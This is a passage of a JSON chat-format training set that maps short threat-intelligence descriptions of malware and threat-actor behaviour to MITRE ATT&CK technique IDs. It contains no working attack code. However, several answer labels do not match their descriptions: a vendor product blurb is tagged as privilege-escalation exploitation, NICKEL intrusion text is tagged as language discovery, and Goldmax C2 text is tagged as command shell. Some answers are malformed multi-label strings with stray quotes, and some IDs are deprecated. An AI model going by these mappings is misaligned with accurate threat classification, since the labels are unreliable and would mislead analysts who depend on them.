                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It then takes note of the infected machine’s IP address, user, domain, hostname, OS and Service Pack, and the username and password combination that worked during the brute force routine"
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elise enumerates processes via the \"tasklist\" command."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fake domains . Our latest Transparent Tribe research confirms that the group continues to create malicious domains mimicking defense-related entities as a core component of their operations. Security researchers previously discovered Transparent Tribe using sharingmymedia[.]com to host Android malware targeting Indian military and defense personnel.Figure 1: Maldoc masquerading as a congratulatory notice from CLAWS. The attackers then used this fake website, which they hosted on a domain that was nearly identical to its legitimate counterpart, to distribute ObliqueRAT. These examples highlight Transparent Tribe's heavy reliance on social engineering as a core TTP and the group's efforts to make their operations appear as legitimate as possible.Figure 2: Fake website cloned using HTTrack on May 29, 2020. Malicious file-sharing domains . Transparent Tribe also regularly registers domains that appear to be legitimate file- and media-sharing services. Lures and targeting . Transparent Tribe uses a variety of themes in their lures that evolved over time. Defense-themed lures . Transparent Tribe has historically used military and defense-themes in their phishing emails and maldocs to target Indian military and government personnel. Conference attendees . Transparent Tribe also finds attendees of specific conferences to target. HoneyTraps . Transparent Tribe consistently uses alluring documents and file names, commonly referred to as honeytraps, to trick victims into executing malicious content on their endpoints. Transparent Tribe uses generically themed content-hosting domains as well as malicious domains masquerading as legitimate defense-related websites"
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNSPOT modified its security token to grants itself debugging privileges by adding \"SeDebugPrivilege\"."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group often uses the trial version of Cobalt Strike, a publicly available commercial software for “Adversary Simulations and Red Team Operations.” Other public tools used by the group are Metasploit, a well-known free and open source framework for developing and executing exploit code against a remote target machine; Mimikatz, a post-exploitation tool that performs credential dumping; and Empire, “a PowerShell and Python post-exploitation agent.” For detection and exploitation of internet-facing web servers, CopyKittens use Havij, Acunetix and sqlmap"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used RAR to compress collected data before."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volexity is seeing active in-the-wild exploitation of multiple Microsoft Exchange vulnerabilities used to steal e-mail and compromise networks. In January 2021, through its Network Security Monitoring service, Volexity detected anomalous activity from two of its customers' Microsoft Exchange servers. This vulnerability is remotely exploitable and does not require authentication of any kind, nor does it require any special knowledge or access to a target environment. Additionally, Volexity is providing alternative mitigations that may be used by defenders to assist in securing their Microsoft Exchange instances. This vulnerability has been confirmed to exist within the latest version of Exchange 2016 on a fully patched Windows Server 2016 server. Volexity also confirmed the vulnerability exists in Exchange 2019 but has not tested against a fully patched version, although it believes they are vulnerable. There are two methods to download e-mail with this vulnerability, depending on the way that Microsoft Exchange has been configured. In the case where a single server is being used to provide the Exchange service, Volexity believes the attacker must know the targeted user’s domain security identifier (SID) in order to access their mailbox. Further other notable User-Agent entries tied to tools used for post-exploitation access to webshells. Network Indicators - Attacker IPs . Volexity has observed numerous IP addresses leveraged by the attackers to exploit the vulnerabilities described in this blog"
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has used `mshta.exe` to execute malicious HTA files."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors have made some small changes, such as altering the variable names to avoid Yara detection"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AADInternals can be used to forge Kerberos tickets using the password hash of the AZUREADSSOACC account."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used WMI event filters to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "macOS.OSAMiner has embedded Stripped Payloads within another run-only Stripped Payloads."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Epic uses the \"net time\" command  to get the system time from the machine and collect the current date and time zone information."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike will break large data sets into smaller chunks for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Melcoz has the ability to download additional files to a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Netwalker's PowerShell script can decode and decrypt multiple layers of obfuscation, leading to the Netwalker DLL being loaded into memory."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CostaRicto has obtained open source tools to use in their operations."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MarkiRAT can check for running processes on the victim’s machine to look for Kaspersky and Bitdefender antivirus products."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has performed brute force attacks against administrator accounts."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses DLL side-loading to load malicious programs."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The shellcode retrieves an additional payload by connecting to the following C2 server using DNS: aaa.stage.14919005.www1.proslr3[.]com Once a successful reply is received from the command and control (C2) server, the PowerShell script executes the embedded Cobalt Strike shellcode"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWizard can use `OpenRemoteServiceManager` to create a service."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti ransomware can spread itself by infecting other remote machines via network shared drives."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes the netstat -ano command."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proton modifies the tty_tickets line in the sudoers file."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used different versions of Mimikatz to obtain credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "C2 commands are represented as seemingly random alphanumerical ASCII strings (e.g. These dynamic updates to Goldmax configuration data enable ability to set a new activation date, replace the existing C2 URL and User-Agent values, enable/disable decoy network traffic feature, and update the number range used by its PRNG"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Invoke-TokenManipulation Exfiltration module can be used to locate and impersonate user logon tokens."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf uses custom base64 encoding to obfuscate HTTP traffic."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can encrypt C2 traffic with AES."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware’s capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has sent spearphishing emails with various attachment types to corporate and personal email accounts of victim organizations. Attachment types have included .rtf, .doc, .xls, archives containing LNK files, and password protected archives containing .exe and .scr executables."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BITTER has attempted to lure victims into opening malicious attachments delivered via spearphishing."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MSTIC has observed NICKEL actors using exploits against unpatched systems to compromise remote access services and appliances. Upon successful intrusion, they have used credential dumpers or stealers to obtain legitimate credentials, which they used to gain access to victim accounts. MSTIC has also observed NICKEL perform frequent and scheduled data collection and exfiltration from victim networks"
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery', 'T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy has used URL/Percent Encoding on data exfiltrated via HTTP POST requests."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SysUpdate can use a Registry Run key to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has uploaded backdoored Docker images to Docker Hub."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Office documents, databases, archives, and multimedia files are the usual file types targeted by ransomware. It’s the same for this version of Erebus, which encrypts 433 file types. However, the ransomware appears to be coded mainly for targeting and encrypting web servers and data stored in them."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ebury has verified C2 domain ownership by decrypting the TXT record using an embedded RSA public key."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore can use AppleScript to inject malicious JavaScript into a browser."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Seasalt has a command to delete a specified file."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In some previous phishing email campaigns, attackers leveraged SendGrid to distribute the initial emails to hide the Google Drive links in the documents behind a SendGrid URL as a way to bypass traditional defences"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses port 443 for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OfficeScan’s Vulnerability Protection shields endpoints from identified and unknown vulnerability exploits even before patches are even deployed. Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to attacks using exploits and other similar threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect these attacks even without any engine or pattern update"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ebury has intercepted unencrypted private keys as well as private key pass-phrases."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used port 8080 for C2."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can deliver \"beacon\" payloads for lateral movement by leveraging remote COM execution."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRatReporter used several Windows API functions to gather information from the infected system."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "decodes Base64 strings and decrypts strings using a custom XOR algorithm."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has obtained information on security software, including security logging information that may indicate whether their malware has been detected."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot can Base64-encode C2 commands."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxxZ has been distributed via spearphishing emails, usually containing a malicious RTF or Excel attachment."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The dropped payload is a DLL file that has been packed using the UPX packer. The unpacked sample is highly obfuscated and important API calls and strings have been encrypted using a custom encryption algorithm. Whenever in the code the malware needs to use a string, it takes the encrypted string and passes it into two functions to decrypt it"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stonedrill (Trojan.Stonedrill): Custom malware capable of opening a backdoor on an infected computer and downloading additional files. The malware also features a destructive component, which can wipe the master boot record of an infected computer"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "First, the macro attempts to enable macros in multiple versions of Word, PowerPoint, Publisher and Excel by setting the following registry keys to the value of 1: HKCU\\Software\\Microsoft\\Office\\11.0\\Word\\Security\\VBAWarnings  The macro also attempts to disable protections provided by the Protected View capability within Word, Excel, and PowerPoint by setting the following registry keys to a value of 1: HKCU\\Software\\Microsoft\\Office\\11.0\\Word\\Security\\ProtectedView\\DisableInternetFilesInPV    First Stage Payload The payload installed by the macro is a downloader Trojan written in VB.NET that downloads a secondary payload and decoy document"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing', 'T1518.001 - Software Discovery: Security Software Discovery', 'T1005 - Data from Local System', 'T1027.001 - Obfuscated Files or Information: Binary Padding', 'T1112 - Modify Registry', 'T1598.002 - Spearphishing Attachment', 'T1204 - User Execution', 'T1203 - Exploitation for Client Execution', 'T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The net time command can be used in  to determine the local or remote system time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can use junk code to generate random activity to obscure malware behavior."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WinMM uses NetUser-GetInfo to identify that it is running under an “Admin” account on the local system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLUELIGHT has exfiltrated data over its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOCTOPUS has obfuscated scripts with the BatchEncryption tool."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The MainConnectionIo function checks if the Windows Firewall is enabled, sets the Tcp Keep Alive value and Non-blocking mode connection options and receives data from the remote host through the ReceiveCommandData function. If the communication fails, ZxShell disables the firewall by modifying the registry key"
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QUADAGENT uses HTTPS and HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware can also download and execute additional components served to it by the control server. The mechanism for downloading additional components is based on the Computer Name and UserName of the endpoint provided by the malware process to the control server in the following HTTP GET request"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AADInternals can create a backdoor by converting a domain to a federated domain which will be able to authenticate any user across the tenant. AADInternals can also modify DesktopSSO information."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can enumerate processes on a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses remote services such as VPN, Citrix, or OWA to persist in an environment."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole uses HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops the Windows batch file dx.bat, which attempts to kill the task daumcleaner.exe; a Korean security program"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "provides a reverse shell is triggered upon receipt of a packet with a special string, sent to any port."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
